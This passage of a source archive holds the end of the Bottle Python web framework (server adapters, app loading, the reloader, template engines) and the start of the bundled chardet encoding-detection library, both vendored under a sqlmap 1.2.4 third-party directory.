""" Return a callable that relays calls to the current default app. """ @functools.wraps(getattr(Bottle, name)) def wrapper(*a, **ka): return getattr(app(), name)(*a, **ka) return wrapper route = make_default_app_wrapper('route') get = make_default_app_wrapper('get') post = make_default_app_wrapper('post') put = make_default_app_wrapper('put') delete = make_default_app_wrapper('delete') patch = make_default_app_wrapper('patch') error = make_default_app_wrapper('error') mount = make_default_app_wrapper('mount') hook = make_default_app_wrapper('hook') install = make_default_app_wrapper('install') uninstall = make_default_app_wrapper('uninstall') url = make_default_app_wrapper('get_url') ############################################################################### # Server Adapter ############################################################### ############################################################################### class ServerAdapter(object): quiet = False def __init__(self, host='127.0.0.1', port=8080, **options): self.options = options self.host = host self.port = int(port) def run(self, handler): # pragma: no cover pass def __repr__(self): args = ', '.join(['%s=%s' % (k, repr(v)) for k, v in self.options.items()]) return "%s(%s)" % (self.__class__.__name__, args) class CGIServer(ServerAdapter): quiet = True def run(self, handler): # pragma: no cover from wsgiref.handlers import CGIHandler def fixed_environ(environ, start_response): environ.setdefault('PATH_INFO', '') return handler(environ, start_response) CGIHandler().run(fixed_environ) class FlupFCGIServer(ServerAdapter): def run(self, handler): # pragma: no cover import flup.server.fcgi self.options.setdefault('bindAddress', (self.host, self.port)) flup.server.fcgi.WSGIServer(handler, **self.options).run() class WSGIRefServer(ServerAdapter): def run(self, app): # pragma: no cover from wsgiref.simple_server import make_server from wsgiref.simple_server import WSGIRequestHandler, WSGIServer import socket class FixedHandler(WSGIRequestHandler): def address_string(self): # Prevent reverse DNS lookups please. return self.client_address[0] def log_request(*args, **kw): if not self.quiet: return WSGIRequestHandler.log_request(*args, **kw) handler_cls = self.options.get('handler_class', FixedHandler) server_cls = self.options.get('server_class', WSGIServer) if ':' in self.host: # Fix wsgiref for IPv6 addresses. if getattr(server_cls, 'address_family') == socket.AF_INET: class server_cls(server_cls): address_family = socket.AF_INET6 self.srv = make_server(self.host, self.port, app, server_cls, handler_cls) self.port = self.srv.server_port # update port actual port (0 means random) try: self.srv.serve_forever() except KeyboardInterrupt: self.srv.server_close() # Prevent ResourceWarning: unclosed socket raise class CherryPyServer(ServerAdapter): def run(self, handler): # pragma: no cover from cherrypy import wsgiserver self.options['bind_addr'] = (self.host, self.port) self.options['wsgi_app'] = handler certfile = self.options.get('certfile') if certfile: del self.options['certfile'] keyfile = self.options.get('keyfile') if keyfile: del self.options['keyfile'] server = wsgiserver.CherryPyWSGIServer(**self.options) if certfile: server.ssl_certificate = certfile if keyfile: server.ssl_private_key = keyfile try: server.start() finally: server.stop() class WaitressServer(ServerAdapter): def run(self, handler): from waitress import serve serve(handler, host=self.host, port=self.port, _quiet=self.quiet) class PasteServer(ServerAdapter): def run(self, handler): # pragma: no cover from paste import httpserver from paste.translogger import TransLogger handler = TransLogger(handler, setup_console_handler=(not self.quiet)) httpserver.serve(handler, host=self.host, port=str(self.port), **self.options) class MeinheldServer(ServerAdapter): def run(self, handler): from meinheld import server server.listen((self.host, self.port)) server.run(handler) class FapwsServer(ServerAdapter): """ Extremely fast webserver using libev. See http://www.fapws.org/ """ def run(self, handler): # pragma: no cover import fapws._evwsgi as evwsgi from fapws import base, config port = self.port if float(config.SERVER_IDENT[-2:]) > 0.4: # fapws3 silently changed its API in 0.5 port = str(port) evwsgi.start(self.host, port) # fapws3 never releases the GIL. Complain upstream. I tried. No luck. if 'BOTTLE_CHILD' in os.environ and not self.quiet: _stderr("WARNING: Auto-reloading does not work with Fapws3.\n") _stderr(" (Fapws3 breaks python thread support)\n") evwsgi.set_base_module(base) def app(environ, start_response): environ['wsgi.multiprocess'] = False return handler(environ, start_response) evwsgi.wsgi_cb(('', app)) evwsgi.run() class TornadoServer(ServerAdapter): """ The super hyped asynchronous server by facebook. Untested. """ def run(self, handler): # pragma: no cover import tornado.wsgi, tornado.httpserver, tornado.ioloop container = tornado.wsgi.WSGIContainer(handler) server = tornado.httpserver.HTTPServer(container) server.listen(port=self.port, address=self.host) tornado.ioloop.IOLoop.instance().start() class AppEngineServer(ServerAdapter): """ Adapter for Google App Engine. """ quiet = True def run(self, handler): from google.appengine.ext.webapp import util # A main() function in the handler script enables 'App Caching'. # Lets makes sure it is there. This _really_ improves performance. module = sys.modules.get('__main__') if module and not hasattr(module, 'main'): module.main = lambda: util.run_wsgi_app(handler) util.run_wsgi_app(handler) class TwistedServer(ServerAdapter): """ Untested. """ def run(self, handler): from twisted.web import server, wsgi from twisted.python.threadpool import ThreadPool from twisted.internet import reactor thread_pool = ThreadPool() thread_pool.start() reactor.addSystemEventTrigger('after', 'shutdown', thread_pool.stop) factory = server.Site(wsgi.WSGIResource(reactor, thread_pool, handler)) reactor.listenTCP(self.port, factory, interface=self.host) if not reactor.running: reactor.run() class DieselServer(ServerAdapter): """ Untested. """ def run(self, handler): from diesel.protocols.wsgi import WSGIApplication app = WSGIApplication(handler, port=self.port) app.run() class GeventServer(ServerAdapter): """ Untested. Options: * `fast` (default: False) uses libevent's http server, but has some issues: No streaming, no pipelining, no SSL. * See gevent.wsgi.WSGIServer() documentation for more options. """ def run(self, handler): from gevent import wsgi, pywsgi, local if not isinstance(threading.local(), local.local): msg = "Bottle requires gevent.monkey.patch_all() (before import)" raise RuntimeError(msg) if not self.options.pop('fast', None): wsgi = pywsgi self.options['log'] = None if self.quiet else 'default' address = (self.host, self.port) server = wsgi.WSGIServer(address, handler, **self.options) if 'BOTTLE_CHILD' in os.environ: import signal signal.signal(signal.SIGINT, lambda s, f: server.stop()) server.serve_forever() class GeventSocketIOServer(ServerAdapter): def run(self, handler): from socketio import server address = (self.host, self.port) server.SocketIOServer(address, handler, **self.options).serve_forever() class GunicornServer(ServerAdapter): """ Untested. See http://gunicorn.org/configure.html for options. """ def run(self, handler): from gunicorn.app.base import Application config = {'bind': "%s:%d" % (self.host, int(self.port))} config.update(self.options) class GunicornApplication(Application): def init(self, parser, opts, args): return config def load(self): return handler GunicornApplication().run() class EventletServer(ServerAdapter): """ Untested. Options: * `backlog` adjust the eventlet backlog parameter which is the maximum number of queued connections. Should be at least 1; the maximum value is system-dependent. * `family`: (default is 2) socket family, optional. See socket documentation for available families. """ def run(self, handler): from eventlet import wsgi, listen, patcher if not patcher.is_monkey_patched(os): msg = "Bottle requires eventlet.monkey_patch() (before import)" raise RuntimeError(msg) socket_args = {} for arg in ('backlog', 'family'): try: socket_args[arg] = self.options.pop(arg) except KeyError: pass address = (self.host, self.port) try: wsgi.server(listen(address, **socket_args), handler, log_output=(not self.quiet)) except TypeError: # Fallback, if we have old version of eventlet wsgi.server(listen(address), handler) class RocketServer(ServerAdapter): """ Untested. """ def run(self, handler): from rocket import Rocket server = Rocket((self.host, self.port), 'wsgi', {'wsgi_app': handler}) server.start() class BjoernServer(ServerAdapter): """ Fast server written in C: https://github.com/jonashaag/bjoern """ def run(self, handler): from bjoern import run run(handler, self.host, self.port) class AiohttpServer(ServerAdapter): """ Untested. aiohttp https://pypi.python.org/pypi/aiohttp/ """ def run(self, handler): import asyncio from aiohttp.wsgi import WSGIServerHttpProtocol self.loop = asyncio.new_event_loop() asyncio.set_event_loop(self.loop) protocol_factory = lambda: WSGIServerHttpProtocol( handler, readpayload=True, debug=(not self.quiet)) self.loop.run_until_complete(self.loop.create_server(protocol_factory, self.host, self.port)) if 'BOTTLE_CHILD' in os.environ: import signal signal.signal(signal.SIGINT, lambda s, f: self.loop.stop()) try: self.loop.run_forever() except KeyboardInterrupt: self.loop.stop() class AutoServer(ServerAdapter): """ Untested. """ adapters = [WaitressServer, PasteServer, TwistedServer, CherryPyServer, WSGIRefServer] def run(self, handler): for sa in self.adapters: try: return sa(self.host, self.port, **self.options).run(handler) except ImportError: pass server_names = { 'cgi': CGIServer, 'flup': FlupFCGIServer, 'wsgiref': WSGIRefServer, 'waitress': WaitressServer, 'cherrypy': CherryPyServer, 'paste': PasteServer, 'fapws3': FapwsServer, 'tornado': TornadoServer, 'gae': AppEngineServer, 'twisted': TwistedServer, 'diesel': DieselServer, 'meinheld': MeinheldServer, 'gunicorn': GunicornServer, 'eventlet': EventletServer, 'gevent': GeventServer, 'geventSocketIO': GeventSocketIOServer, 'rocket': RocketServer, 'bjoern': BjoernServer, 'aiohttp': AiohttpServer, 'auto': AutoServer, } ############################################################################### # Application Control ########################################################## ############################################################################### def load(target, **namespace): """ Import a module or fetch an object from a module. * ``package.module`` returns `module` as a module object. * ``pack.mod:name`` returns the module variable `name` from `pack.mod`. * ``pack.mod:func()`` calls `pack.mod.func()` and returns the result. The last form accepts not only function calls, but any type of expression. Keyword arguments passed to this function are available as local variables. Example: ``import_string('re:compile(x)', x='[a-z]')`` """ module, target = target.split(":", 1) if ':' in target else (target, None) if module not in sys.modules: __import__(module) if not target: return sys.modules[module] if target.isalnum(): return getattr(sys.modules[module], target) package_name = module.split('.')[0] namespace[package_name] = sys.modules[package_name] return eval('%s.%s' % (module, target), namespace) def load_app(target): """ Load a bottle application from a module and make sure that the import does not affect the current default application, but returns a separate application object. See :func:`load` for the target parameter. """ global NORUN NORUN, nr_old = True, NORUN tmp = default_app.push() # Create a new "default application" try: rv = load(target) # Import the target module return rv if callable(rv) else tmp finally: default_app.remove(tmp) # Remove the temporary added default application NORUN = nr_old _debug = debug def run(app=None, server='wsgiref', host='127.0.0.1', port=8080, interval=1, reloader=False, quiet=False, plugins=None, debug=None, config=None, **kargs): """ Start a server instance. This method blocks until the server terminates. :param app: WSGI application or target string supported by :func:`load_app`. (default: :func:`default_app`) :param server: Server adapter to use. See :data:`server_names` keys for valid names or pass a :class:`ServerAdapter` subclass. (default: `wsgiref`) :param host: Server address to bind to. Pass ``0.0.0.0`` to listens on all interfaces including the external one. (default: 127.0.0.1) :param port: Server port to bind to. Values below 1024 require root privileges. (default: 8080) :param reloader: Start auto-reloading server? (default: False) :param interval: Auto-reloader interval in seconds (default: 1) :param quiet: Suppress output to stdout and stderr? (default: False) :param options: Options passed to the server adapter. """ if NORUN: return if reloader and not os.environ.get('BOTTLE_CHILD'): import subprocess lockfile = None try: fd, lockfile = tempfile.mkstemp(prefix='bottle.', suffix='.lock') os.close(fd) # We only need this file to exist. We never write to it while os.path.exists(lockfile): args = [sys.executable] + sys.argv environ = os.environ.copy() environ['BOTTLE_CHILD'] = 'true' environ['BOTTLE_LOCKFILE'] = lockfile p = subprocess.Popen(args, env=environ) while p.poll() is None: # Busy wait... os.utime(lockfile, None) # I am alive! time.sleep(interval) if p.poll() != 3: if os.path.exists(lockfile): os.unlink(lockfile) sys.exit(p.poll()) except KeyboardInterrupt: pass finally: if os.path.exists(lockfile): os.unlink(lockfile) return try: if debug is not None: _debug(debug) app = app or default_app() if isinstance(app, basestring): app = load_app(app) if not callable(app): raise ValueError("Application is not callable: %r" % app) for plugin in plugins or []: if isinstance(plugin, basestring): plugin = load(plugin) app.install(plugin) if config: app.config.update(config) if server in server_names: server = server_names.get(server) if isinstance(server, basestring): server = load(server) if isinstance(server, type): server = server(host=host, port=port, **kargs) if not isinstance(server, ServerAdapter): raise ValueError("Unknown or unsupported server: %r" % server) server.quiet = server.quiet or quiet if not server.quiet: _stderr("Bottle v%s server starting up (using %s)...\n" % (__version__, repr(server))) _stderr("Listening on http://%s:%d/\n" % (server.host, server.port)) _stderr("Hit Ctrl-C to quit.\n\n") if reloader: lockfile = os.environ.get('BOTTLE_LOCKFILE') bgcheck = FileCheckerThread(lockfile, interval) with bgcheck: server.run(app) if bgcheck.status == 'reload': sys.exit(3) else: server.run(app) except KeyboardInterrupt: pass except (SystemExit, MemoryError): raise except: if not reloader: raise if not getattr(server, 'quiet', quiet): print_exc() time.sleep(interval) sys.exit(3) class FileCheckerThread(threading.Thread): """ Interrupt main-thread as soon as a changed module file is detected, the lockfile gets deleted or gets to old. """ def __init__(self, lockfile, interval): threading.Thread.__init__(self) self.daemon = True self.lockfile, self.interval = lockfile, interval #: Is one of 'reload', 'error' or 'exit' self.status = None def run(self): exists = os.path.exists mtime = lambda p: os.stat(p).st_mtime files = dict() for module in list(sys.modules.values()): path = getattr(module, '__file__', '') if path[-4:] in ('.pyo', '.pyc'): path = path[:-1] if path and exists(path): files[path] = mtime(path) while not self.status: if not exists(self.lockfile)\ or mtime(self.lockfile) < time.time() - self.interval - 5: self.status = 'error' thread.interrupt_main() for path, lmtime in list(files.items()): if not exists(path) or mtime(path) > lmtime: self.status = 'reload' thread.interrupt_main() break time.sleep(self.interval) def __enter__(self): self.start() def __exit__(self, exc_type, *_): if not self.status: self.status = 'exit' # silent exit self.join() return exc_type is not None and issubclass(exc_type, KeyboardInterrupt) ############################################################################### # Template Adapters ############################################################ ############################################################################### class TemplateError(HTTPError): def __init__(self, message): HTTPError.__init__(self, 500, message) class BaseTemplate(object): """ Base class and minimal API for template adapters """ extensions = ['tpl', 'html', 'thtml', 'stpl'] settings = {} #used in prepare() defaults = {} #used in render() def __init__(self, source=None, name=None, lookup=None, encoding='utf8', **settings): """ Create a new template. If the source parameter (str or buffer) is missing, the name argument is used to guess a template filename. Subclasses can assume that self.source and/or self.filename are set. Both are strings. The lookup, encoding and settings parameters are stored as instance variables. The lookup parameter stores a list containing directory paths. The encoding parameter should be used to decode byte strings or files. The settings parameter contains a dict for engine-specific settings. """ self.name = name self.source = source.read() if hasattr(source, 'read') else source self.filename = source.filename if hasattr(source, 'filename') else None self.lookup = [os.path.abspath(x) for x in lookup] if lookup else [] self.encoding = encoding self.settings = self.settings.copy() # Copy from class variable self.settings.update(settings) # Apply if not self.source and self.name: self.filename = self.search(self.name, self.lookup) if not self.filename: raise TemplateError('Template %s not found.' % repr(name)) if not self.source and not self.filename: raise TemplateError('No template specified.') self.prepare(**self.settings) @classmethod def search(cls, name, lookup=None): """ Search name in all directories specified in lookup. First without, then with common extensions. Return first hit. """ if not lookup: depr('The template lookup path list should not be empty.', True) #0.12 lookup = ['.'] if os.path.isabs(name) and os.path.isfile(name): depr('Absolute template path names are deprecated.', True) #0.12 return os.path.abspath(name) for spath in lookup: spath = os.path.abspath(spath) + os.sep fname = os.path.abspath(os.path.join(spath, name)) if not fname.startswith(spath): continue if os.path.isfile(fname): return fname for ext in cls.extensions: if os.path.isfile('%s.%s' % (fname, ext)): return '%s.%s' % (fname, ext) @classmethod def global_config(cls, key, *args): """ This reads or sets the global settings stored in class.settings. """ if args: cls.settings = cls.settings.copy() # Make settings local to class cls.settings[key] = args[0] else: return cls.settings[key] def prepare(self, **options): """ Run preparations (parsing, caching, ...). It should be possible to call this again to refresh a template or to update settings. """ raise NotImplementedError def render(self, *args, **kwargs): """ Render the template with the specified local variables and return a single byte or unicode string. If it is a byte string, the encoding must match self.encoding. This method must be thread-safe! Local variables may be provided in dictionaries (args) or directly, as keywords (kwargs). """ raise NotImplementedError class MakoTemplate(BaseTemplate): def prepare(self, **options): from mako.template import Template from mako.lookup import TemplateLookup options.update({'input_encoding': self.encoding}) options.setdefault('format_exceptions', bool(DEBUG)) lookup = TemplateLookup(directories=self.lookup, **options) if self.source: self.tpl = Template(self.source, lookup=lookup, **options) else: self.tpl = Template(uri=self.name, filename=self.filename, lookup=lookup, **options) def render(self, *args, **kwargs): for dictarg in args: kwargs.update(dictarg) _defaults = self.defaults.copy() _defaults.update(kwargs) return self.tpl.render(**_defaults) class CheetahTemplate(BaseTemplate): def prepare(self, **options): from Cheetah.Template import Template self.context = threading.local() self.context.vars = {} options['searchList'] = [self.context.vars] if self.source: self.tpl = Template(source=self.source, **options) else: self.tpl = Template(file=self.filename, **options) def render(self, *args, **kwargs): for dictarg in args: kwargs.update(dictarg) self.context.vars.update(self.defaults) self.context.vars.update(kwargs) out = str(self.tpl) self.context.vars.clear() return out class Jinja2Template(BaseTemplate): def prepare(self, filters=None, tests=None, globals={}, **kwargs): from jinja2 import Environment, FunctionLoader self.env = Environment(loader=FunctionLoader(self.loader), **kwargs) if filters: self.env.filters.update(filters) if tests: self.env.tests.update(tests) if globals: self.env.globals.update(globals) if self.source: self.tpl = self.env.from_string(self.source) else: self.tpl = self.env.get_template(self.filename) def render(self, *args, **kwargs): for dictarg in args: kwargs.update(dictarg) _defaults = self.defaults.copy() _defaults.update(kwargs) return self.tpl.render(**_defaults) def loader(self, name): fname = self.search(name, self.lookup) if not fname: return with open(fname, "rb") as f: return f.read().decode(self.encoding) class SimpleTemplate(BaseTemplate): def prepare(self, escape_func=html_escape, noescape=False, syntax=None, **ka): self.cache = {} enc = self.encoding self._str = lambda x: touni(x, enc) self._escape = lambda x: escape_func(touni(x, enc)) self.syntax = syntax if noescape: self._str, self._escape = self._escape, self._str @cached_property def co(self): return compile(self.code, self.filename or '<string>', 'exec') @cached_property def code(self): source = self.source if not source: with open(self.filename, 'rb') as f: source = f.read() try: source, encoding = touni(source), 'utf8' except UnicodeError: depr('Template encodings other than utf8 are not supported.') #0.11 source, encoding = touni(source, 'latin1'), 'latin1' parser = StplParser(source, encoding=encoding, syntax=self.syntax) code = parser.translate() self.encoding = parser.encoding return code def _rebase(self, _env, _name=None, **kwargs): _env['_rebase'] = (_name, kwargs) def _include(self, _env, _name=None, **kwargs): env = _env.copy() env.update(kwargs) if _name not in self.cache: self.cache[_name] = self.__class__(name=_name, lookup=self.lookup) return self.cache[_name].execute(env['_stdout'], env) def execute(self, _stdout, kwargs): env = self.defaults.copy() env.update(kwargs) env.update({ '_stdout': _stdout, '_printlist': _stdout.extend, 'include': functools.partial(self._include, env), 'rebase': functools.partial(self._rebase, env), '_rebase': None, '_str': self._str, '_escape': self._escape, 'get': env.get, 'setdefault': env.setdefault, 'defined': env.__contains__ }) eval(self.co, env) if env.get('_rebase'): subtpl, rargs = env.pop('_rebase') rargs['base'] = ''.join(_stdout) #copy stdout del _stdout[:] # clear stdout return self._include(env, subtpl, **rargs) return env def render(self, *args, **kwargs): """ Render the template using keyword arguments as local variables. """ env = {} stdout = [] for dictarg in args: env.update(dictarg) env.update(kwargs) self.execute(stdout, env) return ''.join(stdout) class StplSyntaxError(TemplateError): pass class StplParser(object): """ Parser for stpl templates. """ _re_cache = {} #: Cache for compiled re patterns # This huge pile of voodoo magic splits python code into 8 different tokens. # We use the verbose (?x) regex mode to make this more manageable _re_tok = _re_inl = r'''((?mx) # verbose and dot-matches-newline mode [urbURB]* (?: ''(?!') |""(?!") |'{6} |"{6} |'(?:[^\\']|\\.)+?' |"(?:[^\\"]|\\.)+?" |'{3}(?:[^\\]|\\.|\n)+?'{3} |"{3}(?:[^\\]|\\.|\n)+?"{3} ) )''' _re_inl = _re_tok.replace(r'|\n', '') # We re-use this string pattern later _re_tok += r''' # 2: Comments (until end of line, but not the newline itself) |(\#.*) # 3: Open and close (4) grouping tokens |([\[\{\(]) |([\]\}\)]) # 5,6: Keywords that start or continue a python block (only start of line) |^([\ \t]*(?:if|for|while|with|try|def|class)\b) |^([\ \t]*(?:elif|else|except|finally)\b) # 7: Our special 'end' keyword (but only if it stands alone) |((?:^|;)[\ \t]*end[\ \t]*(?=(?:%(block_close)s[\ \t]*)?\r?$|;|\#)) # 8: A customizable end-of-code-block template token (only end of line) |(%(block_close)s[\ \t]*(?=\r?$)) # 9: And finally, a single newline. The 10th token is 'everything else' |(\r?\n) ''' # Match the start tokens of code areas in a template _re_split = r'''(?m)^[ \t]*(\\?)((%(line_start)s)|(%(block_start)s))''' # Match inline statements (may contain python strings) _re_inl = r'''%%(inline_start)s((?:%s|[^'"\n]+?)*?)%%(inline_end)s''' % _re_inl default_syntax = '<% %> % {{ }}' def __init__(self, source, syntax=None, encoding='utf8'): self.source, self.encoding = touni(source, encoding), encoding self.set_syntax(syntax or self.default_syntax) self.code_buffer, self.text_buffer = [], [] self.lineno, self.offset = 1, 0 self.indent, self.indent_mod = 0, 0 self.paren_depth = 0 def get_syntax(self): """ Tokens as a space separated string (default: <% %> % {{ }}) """ return self._syntax def set_syntax(self, syntax): self._syntax = syntax self._tokens = syntax.split() if not syntax in self._re_cache: names = 'block_start block_close line_start inline_start inline_end' etokens = map(re.escape, self._tokens) pattern_vars = dict(zip(names.split(), etokens)) patterns = (self._re_split, self._re_tok, self._re_inl) patterns = [re.compile(p % pattern_vars) for p in patterns] self._re_cache[syntax] = patterns self.re_split, self.re_tok, self.re_inl = self._re_cache[syntax] syntax = property(get_syntax, set_syntax) def translate(self): if self.offset: raise RuntimeError('Parser is a one time instance.') while True: m = self.re_split.search(self.source, pos=self.offset) if m: text = self.source[self.offset:m.start()] self.text_buffer.append(text) self.offset = m.end() if m.group(1): # Escape syntax line, sep, _ = self.source[self.offset:].partition('\n') self.text_buffer.append(self.source[m.start():m.start(1)] + m.group(2) + line + sep) self.offset += len(line + sep) continue self.flush_text() self.offset += self.read_code(self.source[self.offset:], multiline=bool(m.group(4))) else: break self.text_buffer.append(self.source[self.offset:]) self.flush_text() return ''.join(self.code_buffer) def read_code(self, pysource, multiline): code_line, comment = '', '' offset = 0 while True: m = self.re_tok.search(pysource, pos=offset) if not m: code_line += pysource[offset:] offset = len(pysource) self.write_code(code_line.strip(), comment) break code_line += pysource[offset:m.start()] offset = m.end() _str, _com, _po, _pc, _blk1, _blk2, _end, _cend, _nl = m.groups() if self.paren_depth > 0 and (_blk1 or _blk2): # a if b else c code_line += _blk1 or _blk2 continue if _str: # Python string code_line += _str elif _com: # Python comment (up to EOL) comment = _com if multiline and _com.strip().endswith(self._tokens[1]): multiline = False # Allow end-of-block in comments elif _po: # open parenthesis self.paren_depth += 1 code_line += _po elif _pc: # close parenthesis if self.paren_depth > 0: # we could check for matching parentheses here, but it's # easier to leave that to python - just check counts self.paren_depth -= 1 code_line += _pc elif _blk1: # Start-block keyword (if/for/while/def/try/...) code_line, self.indent_mod = _blk1, -1 self.indent += 1 elif _blk2: # Continue-block keyword (else/elif/except/...) code_line, self.indent_mod = _blk2, -1 elif _end: # The non-standard 'end'-keyword (ends a block) self.indent -= 1 elif _cend: # The end-code-block template token (usually '%>') if multiline: multiline = False else: code_line += _cend else: # \n self.write_code(code_line.strip(), comment) self.lineno += 1 code_line, comment, self.indent_mod = '', '', 0 if not multiline: break return offset def flush_text(self): text = ''.join(self.text_buffer) del self.text_buffer[:] if not text: return parts, pos, nl = [], 0, '\\\n' + ' ' * self.indent for m in self.re_inl.finditer(text): prefix, pos = text[pos:m.start()], m.end() if prefix: parts.append(nl.join(map(repr, prefix.splitlines(True)))) if prefix.endswith('\n'): parts[-1] += nl parts.append(self.process_inline(m.group(1).strip())) if pos < len(text): prefix = text[pos:] lines = prefix.splitlines(True) if lines[-1].endswith('\\\\\n'): lines[-1] = lines[-1][:-3] elif lines[-1].endswith('\\\\\r\n'): lines[-1] = lines[-1][:-4] parts.append(nl.join(map(repr, lines))) code = '_printlist((%s,))' % ', '.join(parts) self.lineno += code.count('\n') + 1 self.write_code(code) @staticmethod def process_inline(chunk): if chunk[0] == '!': return '_str(%s)' % chunk[1:] return '_escape(%s)' % chunk def write_code(self, line, comment=''): code = ' ' * (self.indent + self.indent_mod) code += line.lstrip() + comment + '\n' self.code_buffer.append(code) def template(*args, **kwargs): """ Get a rendered template as a string iterator. You can use a name, a filename or a template string as first parameter. Template rendering arguments can be passed as dictionaries or directly (as keyword arguments). """ tpl = args[0] if args else None adapter = kwargs.pop('template_adapter', SimpleTemplate) lookup = kwargs.pop('template_lookup', TEMPLATE_PATH) tplid = (id(lookup), tpl) if tplid not in TEMPLATES or DEBUG: settings = kwargs.pop('template_settings', {}) if isinstance(tpl, adapter): TEMPLATES[tplid] = tpl if settings: TEMPLATES[tplid].prepare(**settings) elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl: TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings) else: TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings) if not TEMPLATES[tplid]: abort(500, 'Template (%s) not found' % tpl) for dictarg in args[1:]: kwargs.update(dictarg) return TEMPLATES[tplid].render(kwargs) mako_template = functools.partial(template, template_adapter=MakoTemplate) cheetah_template = functools.partial(template, template_adapter=CheetahTemplate) jinja2_template = functools.partial(template, template_adapter=Jinja2Template) def view(tpl_name, **defaults): """ Decorator: renders a template for a handler. The handler can control its behavior like that: - return a dict of template vars to fill out the template - return something other than a dict and the view decorator will not process the template, but return the handler result as is. This includes returning a HTTPResponse(dict) to get, for instance, JSON with autojson or other castfilters. """ def decorator(func): @functools.wraps(func) def wrapper(*args, **kwargs): result = func(*args, **kwargs) if isinstance(result, (dict, DictMixin)): tplvars = defaults.copy() tplvars.update(result) return template(tpl_name, **tplvars) elif result is None: return template(tpl_name, defaults) return result return wrapper return decorator mako_view = functools.partial(view, template_adapter=MakoTemplate) cheetah_view = functools.partial(view, template_adapter=CheetahTemplate) jinja2_view = functools.partial(view, template_adapter=Jinja2Template) ############################################################################### # Constants and Globals ######################################################## ############################################################################### TEMPLATE_PATH = ['./', './views/'] TEMPLATES = {} DEBUG = False NORUN = False # If set, run() does nothing. Used by load_app() #: A dict to map HTTP status codes (e.g. 404) to phrases (e.g. 'Not Found') HTTP_CODES = httplib.responses.copy() HTTP_CODES[418] = "I'm a teapot" # RFC 2324 HTTP_CODES[428] = "Precondition Required" HTTP_CODES[429] = "Too Many Requests" HTTP_CODES[431] = "Request Header Fields Too Large" HTTP_CODES[511] = "Network Authentication Required" _HTTP_STATUS_LINES = dict((k, '%d %s' % (k, v)) for (k, v) in HTTP_CODES.items()) #: The default template used for error pages. Override with @error() ERROR_PAGE_TEMPLATE = """ %%try: %%from %s import DEBUG, request <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html> <head> <title>Error: {{e.status}}

    Error: {{e.status}}

    Sorry, the requested URL {{repr(request.url)}} caused an error:

    {{e.body}}
    %%if DEBUG and e.exception:

    Exception:

    {{repr(e.exception)}}
    %%end %%if DEBUG and e.traceback:

    Traceback:

    {{e.traceback}}
    %%end %%except ImportError: ImportError: Could not generate the error page. Please add bottle to the import path. %%end """ % __name__ #: A thread-safe instance of :class:`LocalRequest`. If accessed from within a #: request callback, this instance always refers to the *current* request #: (even on a multi-threaded server). request = LocalRequest() #: A thread-safe instance of :class:`LocalResponse`. It is used to change the #: HTTP response for the *current* request. response = LocalResponse() #: A thread-safe namespace. Not used by Bottle. local = threading.local() # Initialize app stack (create first empty Bottle app) # BC: 0.6.4 and needed for run() app = default_app = AppStack() app.push() #: A virtual package that redirects import statements. #: Example: ``import bottle.ext.sqlite`` actually imports `bottle_sqlite`. ext = _ImportRedirect('bottle.ext' if __name__ == '__main__' else __name__ + ".ext", 'bottle_%s').module if __name__ == '__main__': opt, args, parser = _cli_parse(sys.argv) def _cli_error(msg): parser.print_help() _stderr('\nError: %s\n' % msg) sys.exit(1) if opt.version: _stdout('Bottle %s\n' % __version__) sys.exit(0) if not args: _cli_error("No application entry point specified.") sys.path.insert(0, '.') sys.modules.setdefault('bottle', sys.modules['__main__']) host, port = (opt.bind or 'localhost'), 8080 if ':' in host and host.rfind(']') < host.rfind(':'): host, port = host.rsplit(':', 1) host = host.strip('[]') config = ConfigDict() for cfile in opt.conf or []: try: if cfile.endswith('.json'): with open(cfile, 'rb') as fp: config.load_dict(json_loads(fp.read())) else: config.load_config(cfile) except ConfigParserError: _cli_error(str(_e())) except IOError: _cli_error("Unable to read config file %r" % cfile) except (UnicodeError, TypeError, ValueError): _cli_error("Unable to parse config file %r: %s" % (cfile, _e())) for cval in opt.param or []: if '=' in cval: config.update((cval.split('=', 1),)) else: config[cval] = True run(args[0], host=host, port=int(port), server=opt.server, reloader=opt.reload, plugins=opt.plugin, debug=opt.debug, config=config) # THE END sqlmap-1.2.4/thirdparty/chardet/000077500000000000000000000000001326012263700166215ustar00rootroot00000000000000sqlmap-1.2.4/thirdparty/chardet/__init__.py000066400000000000000000000024171326012263700207360ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### __version__ = "2.3.0" from sys import version_info def detect(aBuf): if ((version_info < (3, 0) and isinstance(aBuf, unicode)) or (version_info >= (3, 0) and not isinstance(aBuf, bytes))): raise ValueError('Expected a bytes object, not a unicode object') from . import universaldetector u = universaldetector.UniversalDetector() u.reset() u.feed(aBuf) u.close() return u.result sqlmap-1.2.4/thirdparty/chardet/big5freq.py000066400000000000000000002412421326012263700207040ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # Big5 frequency table # by Taiwan's Mandarin Promotion Council # # # 128 --> 0.42261 # 256 --> 0.57851 # 512 --> 0.74851 # 1024 --> 0.89384 # 2048 --> 0.97583 # # 